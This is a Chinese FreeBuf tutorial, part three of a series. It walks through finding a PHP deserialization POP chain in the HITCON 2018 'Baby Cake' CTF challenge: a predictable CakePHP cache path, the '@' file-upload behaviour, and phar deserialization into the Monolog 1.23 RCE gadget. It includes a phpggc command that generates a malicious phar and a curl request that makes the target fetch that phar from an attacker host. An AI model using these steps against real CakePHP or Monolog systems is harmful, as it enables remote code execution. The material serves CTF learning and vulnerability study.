freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

PHP反序列化入门之寻找POP链(三)
FreeBuf_18585 2019-06-13 17:46:07 257879
所属地 河北省

前言

本篇文章,将以 HITCON2018 中的 Baby Cake 为例,继续练习 PHP POP链 寻找,题目 docker 环境地址:https://github.com/Tiaonmmn/hitcon_2018_babycake 。题目所使用的框架为 Cake PHP ,具体可以参考:https://book.cakephp.org

漏洞点发掘

题目界面如下:1我们先来看整个应用的 web 路由。通过查看 config/routes.php 文件,我们可以发现其入口点是 PagesController 类中的 display 方法.。(下图 第13行 )2我们跟进 display 方法,发现 $url 只能以 http、https 开头,请求方法支持 get、post、put、delete、patch 五种。3然后会先判断缓存中是否存在相关页面内容及请求头(上图 第22行 ),如果存在,则直接用 file_get_contents 从缓存中获取,其中请求头的内容还会反序列化一次,这里我们先暂且记下。缓存文件的路径是可以预测的,这对我们之后的攻击十分有利。(下图 第21行 )4如果缓存文件不存在的话,就会先调用 PagesController 类的 httpclient 方法生成一个 Client 类,通过 Client 类生成响应数据,然后再将响应数据通过 PagesController 类的 cache_set 方法分别写入 body.cacheheaders.cache 文件。其具体代码如下:5我们再来看这个响应数据是如何生成的,其调用了 Client 类的 get 方法(对应上图代码 第25行 。当然,这是在发起 GET 请求的基础上)。6我们跟进 _doRequest 方法,发现其调用了 _createRequest 方法,而 _createRequest 方法中实例了一个 Request 对象,该对象在创建时,又会调用 body 方法,我们继续跟进该方法。7如果我们传入的数据是数组类型的话, body 方法就会调用 FormData 类的 addMany 方法,然后 addMany 方法再调用 add 方法。而这个 add 方法我们需要注意一下,这是一个弃用功能,然而程序运行到这里时,并没有直接退出,还是继续调用 addFile 方法。他会把以 @ 符号开头的字符串当做被上传文件的路径,并调用 addFile 方法进行上传,其功能类似 curl 命令上传文件行为,具体代码如下:89我们看到 addFile 方法里面用到了 file_get_contents 函数获取内容,而且参数 $value 是我们可控的。那么我们便可结合前面的缓存功能,将构造的 phar 文件存入缓存文件中,由于缓存文件路径可知,我们便可通过 phar反序列化 进行攻击。

POP链构造

找到利用点之后,我们再来寻找 POP链 ,先来看看题目中用到的组件。10我们发现题目用到了 monolog 组件版本为 1.23 ,然而这个版本的 monolog 却存在 RCE ,我们可以通过 phpggc 来了解一下。11其反序列化触发 RCE 时,类方法调用过程如下:12

完成攻击

理清上面整个 POP链 后,我们可以直接用 phpggc 生成攻击用的 phar 文件,命令如下:

./phpggc -p phar -o /var/www/html/demo.phar Monolog/RCE1 system id

生成恶意 phar 文件后,我们先将该文件存入 Web 应用的缓存中:

curl http://题目IP/?url=http://xx.xx.xx.xx/demo.phar

然后根据代码计算出缓存文件存放路径,最后再发起一个 POST 请求,完成 phar反序列化13

# 代码审计 # POP链
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 FreeBuf_18585 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
漏洞靶场实践
FreeBuf_18585 LV.4
这家伙太懒了,还未填写个人描述!
  • 180 文章数
  • 371 关注者
玩转红日-VulnStack靶场-ATT&CK(八)
2022-11-04
CTF-Forge HackTheBox渗透测试(四)
2022-10-28
CTF-DailyBugle TryTheBox渗透测试(三)
2022-10-20
文章目录